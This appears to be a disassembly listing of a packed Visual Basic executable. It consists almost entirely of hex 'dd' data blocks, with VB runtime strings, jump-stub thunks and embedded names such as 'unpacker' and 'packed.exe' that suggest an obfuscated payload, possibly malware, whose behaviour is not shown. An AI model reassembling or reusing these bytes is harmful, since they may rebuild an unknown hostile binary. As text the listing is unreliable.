0BD7C8AF7h dd 99586ED7h, 763549B3h, 95FFAFE6h, 70DCC281h, 4DBBA160h dd 319C8241h, 2ED6601Fh, 1D6273C0h, 0B5801991h, 6ED6E853h dd 0A30B1D88h, 0B9849A30h, 0F57D3C4Eh, 19DABA15h, 735h dd 364F6A00h, 84000001h, 25D6E853h, 0A189FC16h, 4549339Bh dd 99000005h, 745A1931h, 563CFB05h, 361CDBE9h, 12F8B7CDh dd 45D594A8h, 0E0F45E50h, 0BFCF3B21h, 0A0AC1A00h, 7E90FBE1h dd 1F8D35BFh, 911D63D2h, 5314DF78h, 886ED6E8h, 216EDC1Dh dd 0C78B1060h, 0EE087CE0h, 229BC79Dh, 38CE41A9h, 61E04B1Ah dd 0FA0875F8h, 38A01992h, 16C0BC51h, 249D874Bh, 8264ECABh dd 0A419DA96h, 21h, 0B74FD9h, 91840000h, 59C23FABh, 0E962DB43h dd 1E6BD981h, 0C48B1060h, 6A54D24Bh, 9Dh, 25899C9Fh, 1A67D57Dh dd 0C08B1060h, 0B321C947h, 911D5923h, 0D16ED64Fh, 48B65E72h dd 8B0A81F8h, 117A2BA4h, 3A9575E7h, 48EE8D2h, 0E8500000h dd 0BC2B11D0h, 0A00DF3B2h, 84EDD392h, 5FC9AF6Eh, 99FC8C4Bh dd 0D897AB15h, 0B77686F2h, 985763D1h, 763547B2h, 89D644ECh dd 2F911D63h, 899CCB96h, 0C53E4AB8h, 0ABA8AF1Dh, 49C29117h dd 404EBBA1h, 0CA45B298h, 58D64F5Dh, 15DB2B99h, 0D9448509h dd 8CA02659h, 37C7F44h, 0E3F15E44h, 42A917Bh, 3E90000h dd 0A0AA1998h, 0C846BF27h, 25899CFDh, 597F0F7Dh, 32AB911Dh dd 0B21E2DCAh, 834C9C0Ah, 7FF88B0Ah, 75E873CEh, 3E289095h dd 3FCh, 0A3627AE2h, 85444EBDh, 6524329Fh, 4100167Fh, 1EDDF15Bh dd 3DA7078Eh, 18846A29h, 0F5634908h, 0D9442AE9h, 0D67E08C7h dd 1D641B68h, 5D28C191h, 0CCB7899Ch, 5E93EE34h, 3541AF95h dd 1AA614BCh, 3E911DACh, 0CC371DC5h, 0AA15FBBAh, 0B0933098h dd 5ECC741Ch, 8503BA11h, 18C03EB7h, 10B1ADAAh, 923AB38Bh dd 872F41ACh, 0BB2337A1h, 1F05C442h, 14FAA2B4h, 0A9BF28ABh dd 0D14FC841h, 2679CC69h, 0F6C36BB8h, 1F98117Eh, 0F3190977h dd 1A0084FDh, 7E219FADh, 0B61E2A98h, 9E13C43Dh, 538F692Fh dd 35601EBh, 20880000h, 0F4634908h, 0D8452BEAh, 0BC250BCAh dd 9701E7A6h, 6134C483h, 10CFE34Dh, 0EFAEBE2Ah, 0D08F9B09h dd 0AE6D7FEAh, 0C10E7C24h, 67911D65h, 0E85303CEh, 1D886ED6h dd 9CAF4C0Bh, 0DA1A8830h, 61911762h, 5DFE4BB9h, 2BA48509h dd 29910AADh, 95E6ABBh, 6AC85E85h, 2244A939h, 4279E0h dd 0EBD10000h, 58C66E80h, 8509660Bh, 0EFBA38B1h, 7D25899Ch dd 176E230Fh, 0E68E0791h, 1C849400h, 451B2535h, 6DE6DF3Ah dd 42F28086h, 76F4D94Ch, 0B94FA00Eh, 0AD438508h, 0E7422491h dd 964E022h, 99000001h, 6ED6E853h, 620A1E88h, 96FE127Ch dd 603380EEh, 60D98B10h, 1B0169E7h, 0CC3F30B0h, 60010353h dd 0F16AE3F5h, 91FBE189h, 0B59C157Dh, 0D54C332Eh, 2F15938Ch dd 4BF3B2C4h, 85E835A3h, 158E8B10h, 8AAA2997h, 0C8AF8B10h dd 0F8ECB0A6h, 8C72F03Dh, 2438A221h, 171C03ABh, 147B0388h dd 0B53E737h, 0BA333EFDh, 0F35B65D4h, 953DFC7Ah, 940245AFh dd 8B115547h, 93FB74EDh, 0B704721Ah, 5D8B1155h, 158066E4h dd 2FFE9B03h, 0C56DDB83h, 21911878h, 0F94CE9A8h, 0F0A8B67h dd 37DFE2A1h, 9B07CC9h, 30A92285h, 5BD81A88h, 0EF688B13h dd 0E3F76147h, 0C0D43E24h, 79A0C80Fh, 0FBE54D95h, 1F4h dd 0AB6A82EAh, 8D4C56C5h, 6D2C3AA7h, 49081E87h, 26E5F963h dd 45AFFF96h, 208C7231h, 0FD6B5110h, 0E14C32F1h, 0DE8610CFh dd 1D662370h, 6530C991h, 16D5E953h, 0D946C530h, 7DE5EF5Eh dd 0AA238B04h, 36A38931h, 20EBAA28h, 7D25899Ch, 485EFD5h dd 0A7208898h, 0CF4DC62Eh, 176D7561h, 46E5491h, 8DDA48F0h dd 33850952h, 0B3993CBAh, 56BE3747h, 95297E8h, 59F58B85h dd 224C9A6Ch, 72DFC5E0h, 583FC64h, 0BD44h, 0AB917900h dd 69EC040h, 0A086D8D4h, 0C4117F27h, 6A8B10FBh, 228D73F1h dd 58C2A810h, 0EF6EDC44h, 0B68B10FFh, 0AB91394Bh, 0F2B12F3Fh dd 0E8F8644Ah, 719846Ah, 8F23029Fh, 29973FE7h, 8B10F6DCh dd 1D8B0982h, 91181A75h, 0F19958D1h, 198E510Ah, 0E756646Dh dd 49E664DDh, 0C02ED6FAh, 8B13561Fh, 664CF46Dh, 5A40E8FCh dd 0FE77DFEDh, 71DBC180h, 0A16BAC5Dh, 68D09579h, 0EF7Eh dd 6F87EF00h, 515BCAB0h, 313FAC92h, 0D238C72h, 0EAFE684Eh dd 0B4FA9B2Bh, 9177364Ah, 70561525h, 5137F602h, 8B15D4E6h dd 672875E3h, 35CE911Dh, 40AB916Ah, 60CAB02Eh, 0EC6571DFh dd 0CADC472Dh, 0E853400Bh, 27472ED6h, 1E9B6B3Eh, 10F10A27h dd 31AA4666h, 0FA654BB3h, 0B98C29E8h, 7BFF6D15h, 8A911DC4h dd 0D22774E2h, 7F898503h, 0F2C8436Bh, 0D654CD70h, 0AA52BA33h dd 3646FCC3h, 9C8215F6h, 0BCA22030h, 0EF973F51h, 3EC3481h dd 0E361DA85h, 0C1D33E24h, 30D63219h, 1CDE8EECh, 0A9907238h dd 7C627AEEh, 1D96FE12h, 2FC9379Fh, 85D1E709h, 990453EFh dd 77E2C887h, 0AE17FD65h, 0A809F098h, 135F7259h, 0B583EB69h dd 0C934031Fh, 7EABC49h, 0D6A38A9Ch, 785B42A3h, 4B3FE222h dd 0BF1B029h, 3C268EA0h, 8, 3117BF71h, 6F3AB8C2h, 6BD3EB53h dd 0A0081A85h, 0D8404CBAh, 0E7686F2h, 42AABE28h, 76DEF25Ch dd 0A9112790h, 0E04856C3h, 19818BFAh, 0E78957B3h, 4C781h dd 0EF830000h, 243C3304h, 33243C31h dd 525C243Ch, 0C281E289h, 4, 4EA81h, 14870000h, 3C895C24h dd 2AE06824h, 2C890000h, 31CE6824h, 0C890000h, 0F96CB924h dd 0CF89060Ch, 3C946859h, 24890000h, 24048124h, 4, 0BD55525Dh dd 435B19E1h, 5B19E9BAh, 5DEA3143h, 3A89EA01h, 2434FF5Ah dd 4C4815Dh, 0FF000000h, 815F2434h, 4C4h, 3AC6E900h, 5608FFFBh dd 4535D941h, 0D08B0B8h, 0FFC50306h, 0E18D58E0h, 5AA9E811h dd 4494654Dh, 0DA59115Bh, 0B9CF031Bh, 40284A00h, 52508744h dd 0C8761864h, 112BAA6Fh, 6DDE293Dh, 0E3988C48h, 0C6D68B38h dd 0C5817B60h, 0F6BC763Ch, 1B05DE0Dh, 0F1190A4Dh, 99EBFC74h dd 553A9716h, 99DA4424h, 9850D52Ch, 4658C034h, 0BF027B59h dd 0C19F5559h, 9E80Dh, 0E0810000h, 24A622E3h, 66E92DE6h dd 5F1E40BBh, 815DEF80h, 68D7C7h, 0B8D78B00h, 7340AB15h dd 910BE881h, 12E97340h, 57000000h, 58B09276h, 0C88370F4h dd 2A73B43Ah, 22C57A3h, 800F8BD6h, 0E981D3EAh, 30407F4Ch dd 0D38B6652h, 0FC1815Ah, 81108292h, 0C3E090DAh, 38E98135h dd 0E971993Eh, 0Eh, 0D5EEB148h, 0F79888F2h, 0D876BD4Dh dd 8F5153BDh, 82E38107h, 835246A9h, 0D1BB02EFh, 4F308609h dd 815A534Fh, 1E8h, 14850F00h, 0F000000h, 1AE9D2BFh, 4B000000h dd 79AA48ECh, 1933E23h, 666E764Bh, 8EE9D78Bh, 0D9FFFFFFh dd 3B3AC915h, 15CE99Fh, 5C50000h, 3A4377E7h, 755F6D5Ch dd 6361706Eh, 72656Bh, 6B636170h, 652E6465h, 6578h, 3Ah dup(0) db 0 align 2 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dw 5742h dd 0CFE90E98h, 6800001Ch, 60D0DB1h, 0FA70C0E9h, 0EDE68FFh dd 0B6E9060Dh, 68FFFA70h, 60D0FF2h, 0FA70ACE9h, 10BB68FFh dd 0A2E9060Dh, 68FFFA70h, 60D10FAh, 0FA7098E9h, 120A68FFh dd 8EE9060Dh, 68FFFA70h, 60D1266h, 0FA7084E9h, 12BE68FFh dd 7AE9060Dh, 68FFFA70h, 60D19EEh, 0FA7070E9h, 1AC068FFh dd 66E9060Dh, 68FFFA70h, 60D1B6Dh, 0FA705CE9h, 1C9A68FFh dd 52E9060Dh, 68FFFA70h, 60D1D10h, 0FA7048E9h, 1E0D68FFh dd 3EE9060Dh, 68FFFA70h, 60D1EA4h, 0FA7034E9h, 1F4A68FFh dd 2AE9060Dh, 68FFFA70h, 60D2583h, 0FA7020E9h, 269368FFh dd 16E9060Dh, 68FFFA70h, 60D2718h, 0FA700CE9h, 6A653FFh dd 0C9A5CBAh, 139962C0h, 1FBD69C7h, 22AE75D3h, 92CBECD6h dd 9BF945CBh, 9FFD49D3h, 0A1FF4BD9h, 930652DEh, 6BEA4918h dd 9473F001h, 8C18DBB0h, 2CB87BD9h, 92A2EEB1h, 7E3008F5h dd 318D7CC8h, 7E41BC37h, 0D68F99C4h, 6F3EF43Bh, 0FC131831h dd 26C087E5h, 0D222D563h, 0A2F2CC82h, 171120EFh, 34D7F00Bh dd 0D3EFB21Ah, 4F6CC29Eh, 1ADC7C32h, 5A99CA98h, 2Ah, 0F4744A76h dd 0C2FFE79h, 51F60C67h, 1D04B01h, 0FC137593h, 3A09BC0Ch dd 0F00B6AF7h, 0A7F44EF1h, 99CA3BE5h, 0EF25h, 18DB4100h dd 0B47BD98Ch, 5C1F7D30h, 35F755D0h, 0FF4FED99h, 9346FC4Ch dd 5EF2BA18h, 9BC0CB2h, 0E2A503B9h, 318F0A56h, 6231E785h dd 0F60C6C6Bh, 35E17D40h, 51CC4797h, 0C63B382h, 0A65CACF6h dd 0AB39FC5Ah, 5D1F7DF8h, 942A19CFh, 63DE59D4h, 0C63A194h dd 0B86EBEF6h, 139C93E9h, 31ACFCFCh, 8E5D0CD3h, 0F00B53AFh dd 5D1060B0h, 1C0B570Dh, 7C4BC6A2h, 0FA1126DDh, 3D00CF4Ah dd 22F602F9h, 0A90782D2h, 0B4125EE2h, 0A40867EDh, 0C2B4CC11h dd 1A23B90Fh, 0DF8C0000h, 0D193F13Dh, 0D099F743h, 0F6A2004Ch dd 0E7AE0C58h, 2230D59h, 327E02C9h, 36820CD4h, 388412D8h dd 3D8917DAh, 0BD804FCAh, 0A2F0016Ah, 43BEDFC3h, 0C67C174h dd 0A9E5B5F6h, 95D275B0h, 57B56BBBh, 99689190h, 0F1AC0F2Bh dd 34F755A1h, 956A2DA8h, 5BCCE6BDh, 5438843Ah, 0C9A60BEh dd 0CA669659h, 0F14D0B31h, 0C2FCEBA1h, 0EDB02BA6h, 15834790h dd 0A66DCBF2h, 6117671Ah, 13BB0292h, 0D99CFAFCh, 6BBB954Bh dd 41CF92F0h, 34E03E8Eh, 0D187D78Ah, 0A4E04F1Eh, 2EF1F00Bh dd 0CF91EFA2h, 0E03E8E41h, 44D88B19h, 14A89A1h, 0E7AD0B86h dd 0A4AB8A59h, 64B4F00Bh, 64330BAEh, 99CAF1A2h, 0A3E2h dd 18DBFE00h, 7A2DBB7Eh, 0C927DA2Ah, 0FCCB7E02h, 0F60C6C81h dd 9E19A76Ah, 35EB7940h, 3CC88BE9h, 44249A89h, 9CE2FAC9h dd 4CAAFC13h, 0B584FF85h, 0F00B5386h, 0F7D187D7h, 526C5BA7h dd 5D209B16h, 0BF35DEE2h, 0C08F4557h, 0FA116A0Ah, 0C130BCEh dd 14D94E42h, 0B934845Eh, 0C410945Bh, 0B2119F66h, 0B4CC2C04h dd 0F601570Ah, 0B9000018h, 0C624700Ch, 0CC2A7604h, 0CF2D7903h dd 0CF2D7923h, 46307C08h, 971DE425h, 9F25ED4Bh, 0A12FF553h dd 0A834F755h, 9F6EE95Ch, 0F001699Ch, 0DBFEE2C1h, 0E6449014h dd 65499523h, 0D98C18DBh, 0AB39005Eh, 50EE9AF8h, 47FD4D9Dh dd 4E9A26E9h, 0FDE5F5Fh, 0F60C672Ch, 1691E131h, 13895947h dd 37ECEFCh, 127BC540h, 0E99F9C6Bh, 0FDD86736h, 7B1EF00Bh dd 0C512D4A3h, 0C5299CAh, 6E000001h, 0C17443BEh, 9EF60C67h dd 4FDF984Eh, 66E18737h, 137D4597h, 0B67CDAFCh, 64D311BDh dd 21716EF1h, 19CE1E6Eh, 0A022D94Ah, 8B0681CCh, 91ED79BCh dd 0C796E624h, 2491ED74h, 0F4E399E9h, 54239ECAh, 2E8E0EA8h dd 0CF78A164h, 4A0D9760h, 5A10E26Ah, 57B53080h, 9F520894h dd 0DF5A0EB0h, 0C6A69564h, 67B72296h, 627815A4h, 0C076B9F0h dd 28D77645h, 0D828288Ch, 2013E25Dh, 3D249CE7h, 5EBC37EDh dd 46C10D9Bh, 0E29826E8h, 0D433C184h, 0E24A2FECh, 0E299EFA2h dd 0CD000017h, 0D2307C20h, 0D8368210h, 0DB39850Fh, 0E3418D2Fh dd 624C981Ch, 0B3410841h, 0BB410967h, 0C54B116Fh, 0CC581B79h dd 0C3920D80h, 0F0016870h, 0BE2A0EEDh, 67C17443h, 4E9EF60Ch dd 0DB773A98h, 30B67C12h, 2ADD2D7Dh, 940F8ADAh, 0C6776C5h dd 0E197E7F6h, 0E97F3F2Eh, 0CF95F36Eh, 883E8E41h, 1389D7B9h dd 377D40FCh, 33100A5Dh, 11E24F43h, 6268A44Eh, 80E2C612h dd 0C1894CF0h, 25C99471h, 6A5443F9h, 622583FEh, 1DD323D6h dd 7981D3A2h, 0CE1EFC13h, 73FD4A19h, 8D317B32h, 87E560DBh dd 318134C0h, 6FC0AC7Bh, 0DD2D7D3Ch, 0E5833B2Ah, 2F889B6Ah dd 0A5F57B3Eh, 7B09CC2Ah, 820ED12Fh, 0B828A723h, 76CC7F33h dd 1719h, 0F743E996h, 0FD49D799h, 24ED69Fh, 0A56F8A4h dd 135FE5ACh, 8CF0829h, 0AD2307Ch, 14DA3884h, 21E4428Eh dd 59D44793h, 177AB8Ah, 0F1D5B4F0h, 2D8C18DBh, 0B4DAAFA7h dd 0DA5AB063h, 0D5000016h, 0DA388428h, 0E03E8A18h, 0E3418D17h dd 0EB499537h, 6A54A024h, 0BB491049h, 0C349116Fh, 0CD531977h dd 0D4602381h, 0CB9A1588h, 0F0017768h, 0BE3216F5h, 0B6B667FBh dd 0FAB09C5Ah, 984BD99Ch, 25E015A9h, 0C2337275h, 2AB679D7h dd 5CD72777h, 4A123799h, 2BE1291Dh, 93F7E1B0h, 0D020FC13h dd 0A62EF755h, 45F88648h, 78F33FF5h, 6C0F2EFDh, 9CCF00Bh dd 4EDEA17Bh, 0E5E99A5h, 0E59E54A4h, 0F6724C64h, 0CE5A1D7Bh dd 8ECE9D18h, 0FFA14D7h, 588144BFh, 27021B2Ch, 0CE9D5208h dd 92B564DDh, 0E5ADAD11h, 9BD66534h, 37876AA4h, 94E434E7h dd 79409E19h, 3D8D1BDDh, 0B5843A8Ah, 60BB78CFh, 635047Fh dd 0D36CA387h, 5DAD870Dh, 0CA7DCDA7h, 0A85E3DBh, 0A85BE9ACh dd 5827A258h, 66B938F5h, 0FB894BA9h, 9927EA48h, 904696E6h dd 8DEB66B6h, 0D883ECAh, 1460ECAFh, 11F2F3B6h, 0F2F6022Dh dd 9A4DDB9Eh, 4BAAFA4Ah, 18350393h, 0CA42984Bh, 0E5000015h dd 0EA489438h, 0F04E9A28h, 0F3519D27h, 0FB59A547h, 7A64B034h dd 0CB592059h, 0D359217Fh, 0DD632987h, 0E4703391h, 0DBAA2598h dd 0F0017558h, 6A422605h, 0F60C67CBh, 0C77909Fh, 6761D0F6h dd 9255F60Ch, 6AAA6CE9h, 0BDA90ABh, 0F60CF224h, 0FF5EEAADh dd 0B4DA1AE9h, 6E74CA7Dh, 41000015h, 4EACF894h, 54B2FE8Ch dd 57B5018Bh, 57B501ABh, 0CEB80490h, 1FA56CADh, 27AD75D3h dd 29B77DDBh, 30BC7FDDh, 27F671E4h, 0F0017514h, 0BE866A49h dd 67C17443h, 4E9EF60Ch, 0E015A998h, 20BA37ADh, 1B96E68Bh dd 1348044Ch, 0E24191FCh, 0AED39010h, 16ED43F6h, 99000015h dd 0A60450ECh, 0AC0A56E4h, 0AF0D59E3h, 0AF0D5903h, 26105CE8h dd 77FDC405h, 7F05CD2Bh, 810FD533h, 8814D735h, 7F4EC93Ch dd 0F00175BCh, 0DBDEC2A1h, 0A3926118h, 0D3F60C67h, 2055F902h dd 910CE6FAh, 0C5173C2h, 4C9CECF6h, 28EB49FCh, 1C3219Ch dd 0BA70C073h, 0B58D3007h, 0C36124E6h, 266493h, 6A800000h dd 0F60C67C7h, 6FBB490Ch, 67DD7FA0h, 7B2EF6h, 1287B685h dd 88D8F657h, 14937CD2h, 0A3010000h, 0B79B51DBh, 0AB460BEh dd 0A533F654h, 0ADBB03F2h, 0FEF4B732h, 0BA4911D3h, 10613F0Ch dd 0EE3E737Ch, 9AA76938h, 75F0FC13h, 0B4597A6h, 2878C8F0h dd 3B0361DCh, 0B20CFBB1h, 5C6C3BB6h, 0A9FA14B7h, 7F48A659h dd 6838FBCAh, 0D525F60Ch, 68A88B5Ah, 65B5F60Ch, 763C9A15h dd 1FEE3AF0h, 0F60C6811h, 0D85B2AA5h, 1F60C68h, 8DDDB755h dd 29DF6D2Fh dd 2F7B09CBh, 0D40E0FD1h, 83C87FC3h, 0A1FFB202h, 0DC9E51DFh dd 12D4E139h, 0C8DA8511h, 0B174EAB6h, 30735620h, 782D21Ah dd 0A85BE1A9h, 0DB56A258h, 33A29160h, 6BBBF60Ch, 835315B5h dd 0E59393C3h, 0AF000001h, 79F4744Ah, 136A8EAAh, 0ECBB36FCh dd 0F00B6449h, 3610C616h, 5AB833E6h, 0D5D10AEh, 0A937F957h dd 51E4B32Eh, 0EF00B64h, 5EBC08BEh, 0B03E009Ch, 53DEAD60h dd 1F00B74h, 37F9C45Eh, 84E25DA9h, 0DA682ABEh, 0D187D727h dd 118CDCE2h, 1491B242h, 4B682BFAh, 6705B1FEh, 0AEA164B4h dd 31E434AAh, 0D880CD3h, 0AB5EE6AFh, 0AB51FD5Bh, 0B32EA9F5h dd 0CF251E4h, 8BE0EF6h, 0AA5DE3AAh, 0C3B56C2Fh, 5B9BA7E2h dd 7E2211E0h, 0EB3BF60Ch, 7ED56635h, 0E88BF60Ch, 0C9A3664Eh dd 5178CC68h, 4CB773Ah, 79E7B5CAh, 129E65C3h, 25ED4BC6h dd 0E69CEC9Fh, 8538C688h, 0E9AC6527h, 0D4AB9558h, 0D4673658h dd 89F60C70h, 106EE939h, 6806B24Eh, 621565B5h, 0E7A95C12h dd 1DDFEA44h, 0E131BF81h, 4633F595h, 7B93C3h, 8453D9A2h dd 0F60C44B1h, 25A85EAEh, 39h, 864CAAh, 9C52E0A2h, 9014DBB8h dd 2CB87FDDh, 3A14B779h, 6AE9E8AFh, 41DA9D1Bh, 191726F5h dd 0F848F60Ch, 6C0C58A8h, 93C3ACAAh, 41CB94F2h, 5883E8Eh dd 0B8h, 0F4744A21h, 0F4A0FE79h, 8BC5944Ah, 0FCFC1386h dd 0D99BF9ACh, 0DFA1FF4Bh, 7E409E51h, 0D87B3DF0h, 35F8567Eh dd 0D193F1A7h, 9557F743h, 0D599CA4Ch, 77h, 0FA8E4AF1h dd 635047Fh, 0D3F60C67h, 5EAE880Ch, 6F5E2DA8h, 0D0F60C68h dd 0F12BA60Dh, 14BBF9D8h, 0C141639Eh, 742777C7h, 0D8D99BF9h dd 0D51C17FBh, 12C515D2h, 0F23D0CC2h, 0A9F60CA8h, 51E4B32Eh dd 0EF60CA6h, 0CD6508BEh, 25F4696Fh, 0F60CA616h, 2CA7F747h dd 0CA96E5Dh, 24D02EF6h, 0D30FF7Ah, 52F60CA6h, 0F7724C02h dd 0CA61528h, 0AAFA4AF6h, 0E085Eh, 0BE240000h, 590C9A60h dd 2EFD5309h, 19000000h, 0D78A12DBh, 0DD29B779h, 7C2FBD7Fh dd 873A2C8Dh, 0C678AB8h, 75CD70F6h, 0C32E6426h, 0CBFA493h dd 0CB290000h, 60228004h, 19CF1FD2h, 0E543BE35h, 8EDE911Fh dd 0C677CBFh, 0CE91E1F6h, 59CDB27Ah, 7A691FE7h, 0A574273Fh dd 7FB7591Dh, 0BDCA6407h, 1D6F1BFBh, 503Bh, 6F4A5700h dd 86017CF7h, 24D76528h, 673605D4h, 0C927F60Ch, 78C87B01h dd 90A37228h, 0CDF60C67h, 0E2A4027Dh, 9B51A154h, 357C19E8h dd 93369F80h, 0E94E11BBh, 919B1AD5h, 264A64ECh, 0DC677863h dd 8BDB8E30h, 23E5853Bh, 633D3675h, 29Ah, 0F76F4A7Fh, 0DBC2A613h dd 0BEA88C18h, 91A4F6FBh, 0C8473C2h, 0D99CECF6h, 7A301EAAh dd 0E799E1C5h, 2796C322h, 4Ah, 0F76F4A43h, 41EFBE13h, 16F60C67h dd 43BEE2C6h, 0E4971DE5h, 6776C594h, 97E7F60Ch, 3CEF8D39h dd 0D7BB36ECh, 0B37C12DBh, 5ED929h, 602FAA54h, 0F60C67DDh dd 987C3282h, 0C9A60BEh, 0E3AB0959h, 16FAA359h, 3FE3h dd 6F4AFF00h, 0EFBE13F7h, 0F60C6741h, 0C54F1775h, 60169E67h dd 682BA6F6h, 2F340CE3h, 391DD373h, 1FE543BEh, 9463DE91h dd 0F60C67A1h, 681E6EBEh, 8A12DB84h, 72FBBEA6h, 9B5AC5B9h dd 0CDB15A10h, 238C586Ah, 0CA561DFCh, 0CF5D207Eh, 0A12FF654h dd 3FCD90EEh, 48A639EFh, 1A78F381h, 6DFBBD51h, 430C6A1Dh dd 490B69B9h, 0F17205BBh, 92CFB76h, 56F01B43h, 95AD5006h dd 42F78548h, 6BF604C7h, 7D44139h, 0A430F351h, 0D4885811h dd 8BC99659h, 433003D2h, 0DD2DF01Bh, 75D5711Ah, 0B7021CBFh dd 55B368F4h, 2D8B0692h, 9629DF65h, 6DFBBD1Bh, 8F9259B7h dd 0F01BACA1h, 52D366B6h, 874A97AFh, 1FE644F9h, 563DE91h dd 0A503B642h, 500656E2h, 8249D097h, 24ED4BFEh, 0F444CA92h dd 42DC7F41h, 20FA9D85h, 0F642CE95h, 0B447D598h, 0BE828F56h dd 6F01BACh, 0A258E6A8h, 48E578C8h, 7D408DA5h, 0FCBF3AEFh dd 66E46093h, 8661C2Fh, 6B24B745h, 524B1198h, 0AFC1FA8Eh dd 72257502h, 11C45214h, 8340DA7Dh, 2EBB9336h, 0CA28DD6Bh dd 88E67907h, 1FA033C1h, 5417A27Ch, 0DB2F13C8h, 0A6A88C18h dd 0C89B682Bh, 5CAF2DCh, 2A9063C5h, 0CA80D0C4h, 878E4AE6h dd 845B9B1Ch, 0CC430691h, 57260B7Ch, 3E017CCCh, 0AD14E86h dd 63E9B25Ch, 5A1060B0h, 68FBBE76h, 0F704B797h, 0D81CB593h dd 0A2F2BE58h, 0BE5337ECh, 540AB460h, 0C32302B4h, 29EC4A96h dd 0E298E89Bh, 605Fh, 60BE7B00h, 0A5A0D97h, 0EA736554h dd 0C67181Bh, 0B8245F6h, 6BB34C13h, 3CB70757h, 0D98C32DEh dd 0BEEFD389h, 0C6741EFh, 2BFA75F6h, 0F60C6708h, 65869255h dd 5B6595C9h, 2B7B550Bh, 48A52B0h, 674B0151h, 19DBDABEh dd 0C695108Bh, 0F60C6777h, 0FEE298E8h, 60BEAC90h, 3590F9Dh dd 26h, 0FA8E4A1Fh, 41EFBE16h, 86F60C67h, 2C96528h, 0FADE2E7Eh dd 0C9A60BEh, 0AA5DEBAEh, 4529A45Ah, 0A78B19DBh, 456AAC90h dd 38F60C76h, 0FFFCECE2h, 0C76AFEFFh, 7BF60C67h, 61DC283Eh dd 5D260A9Eh, 0CB81CD03h, 6D20A46Dh, 59A32FF2h, 0D703B4F2h dd 6528F762h, 19E87455h, 0F60C4C1Ah, 45A3F343h, 0EF3FF27Eh dd 4CCB6A39h, 37DAF60Ch, 1009D21Fh, 0CCBF8998h, 0C33E8E6Eh dd 26BA7948h, 53A3F60Ch, 31F3519Dh, 7EDC57A3h, 2AF2BABBh dd 0DB45745h, 0C01807BDh, 0B669F7BAh, 94631666h, 38625818h dd 0BCCB6306h, 0D619DAFAh, 9422E442h, 2515BDEh, 0BE770000h dd 5B0E9860h, 0BA86550Bh, 96F60C67h, 0F6C54028h, 0FC1394D6h dd 0FE5CD727h, 0A6F6A937h, 892986E3h, 0B369A843h, 0BC400967h dd 5BE9AB09h, 87884AA8h, 2A8F0AC8h, 0CD80D0DCh, 0D88E0DEh dd 1453E23Eh, 0A40353FAh, 0B4D9B558h, 0E6A5FBAEh, 0C900000Dh dd 0D634801Ch, 0DC3A8614h, 0DF3D8913h, 0DF3D8933h, 56408C18h dd 0A72DF435h, 0AF35FD5Bh, 0B13F0563h, 0B8440765h, 0AF7EF96Ch dd 0F0017E8Ch, 0BE0EF2D1h, 67C17443h, 239EF60Ch, 0C67E154h dd 0DE2E7EF6h, 7907CA28h, 73E7D7C6h, 1E6E21ABh, 5DD853CEh dd 0C67AF8Eh, 866BC7F6h, 67FDA3AAh, 0B8873D8Dh, 0FC19CFF1h dd 1D7BF646h, 6FF5BC56h, 0BE1C6C1Fh, 3EB96FF5h, 99D65C3h dd 0BA0ABD43h, 0B167B76Ah, 8D78A53h, 0F001D035h, 0BA7CDA2Ah dd 1590DC2Ch, 0B467F5B7h, 0B13F0664h, 42D49DFBh, 0EEA1F17Fh dd 8C3FCD90h, 0CC47219Dh, 0A331F351h, 2FAE1EEDh, 0F36EFA1Eh dd 6E01124h, 867765F6h, 44327E7Ah, 8A641A6Ah, 0AF2BDB3Ah dd 5003B4D0h, 0D14FAh, 4EEE9B00h, 54E2A402h, 5BE1AA08h dd 6705B10Fh, 6AF6BD1Bh, 0DA13341Eh, 0E3418D13h, 0E745911Bh dd 0E9479321h, 0DB4E9A26h, 7DA29160h, 0DCBBF001h, 9760BEF8h dd 36F9570Dh, 9C4FD59Ch, 9A28EE4Ch, 0CC4797E7h, 1AC46709h dd 873D07B9h, 8FD9E5D4h, 753B9914h, 8EEC3CEFh, 3A8A3DCBh dd 0C157B584h, 0E5A8FC13h, 14BC07B9h, 3A86D645h, 3F8B19DCh dd 7FFA6E50h, 1E08EEB0h, 68E333FAh, 90A372EDh, 0CDF60617h dd 6D20AC6Fh, 0B917CD1Dh, 0C2206CF0h, 62C073F9h, 6F5E119Fh dd 0CF9E194Fh, 0FC19E8DDh, 9D73D222h, 71AECD70h, 0C6768BEh dd 9B480000h, 8547A5F1h, 844DABF7h, 0AA56B400h, 935AB804h dd 0B6D7C10Dh, 0D622AE75h, 0DA26B078h, 0E430B67Ch, 0E935C386h dd 92CFB76h, 56F0017Ch, 18DB9377h, 67A39261h, 6CBCF60Ch dd 447A691Ch, 0CE9FBBB1h, 85D5F231h dd 6E318F0Ah, 32BC84E2h, 1D27AD7Ch, 89E7FC13h, 3B8B3EC2h dd 0FFE8AB85h, 0D9BCF891h, 9AEA9440h, 0DEA0FE4Ah, 60E75625h dd 1A78F00Bh, 0C717CA58h, 0CA561977h, 7D02E7Ah, 4A4D317Dh dd 3BFAC974h, 24F60C67h, 227200C6h, 19DC57D2h, 3CC412B1h dd 6938EECAh, 0FC139C0Fh, 5AD588D8h, 0FCAF35FCh, 1827F6ACh dd 0DEF00B83h, 5BB9E33Bh, 0C1900B99h, 0F00B8372h, 45E59BEBh dd 99CB1283h, 0B28150CBh, 0ABF00B97h, 0BF9A985Bh, 0AD39E7BDh dd 0A974F7h, 36F90000h, 0CEABFCE8h, 0D260262Eh, 0C97FCF1Fh dd 8B19DBE5h, 0B7B87AD8h, 0A4C7CED0h, 63166618h, 3BC18AE8h dd 0DE642A88h, 0CE7AD88Eh, 5D1F7D30h, 34F654CFh, 0EDA3F3A6h dd 5C0CB2A1h, 32BA83E1h, 0FE792F7Fh, 13355D2Fh, 0F352A2FCh dd 0AED36327h, 3AD62CDFh, 7500000Bh, 7AD824C8h, 80DE2AB8h dd 83E12DB7h, 8BE935D7h, 0AF440C4h, 5BE9B0E9h, 63E9B10Fh dd 6DF3B917h, 7400C321h, 6B3AB528h, 0F0017BC8h, 0DBD2B695h dd 4D108B19h, 227BF848h, 0E632E851h, 6490h, 83521500h dd 1A42D461h, 0C32F0EDDh, 0E030F60Ch, 0DBF6DA90h, 0E9D88B19h dd 0D46A20D5h, 0EA97ACFDh, 0F0501F9Ah, 45FC135Ah, 0BE8E96F5h dd 9BCAED2h, 0AC4B3h, 9E3EEB00h, 0A432F452h, 0AB31FA58h dd 0B755015Fh, 0BA460D6Bh, 2A63846Eh, 3391DD63h, 3795E16Bh dd 3997E371h, 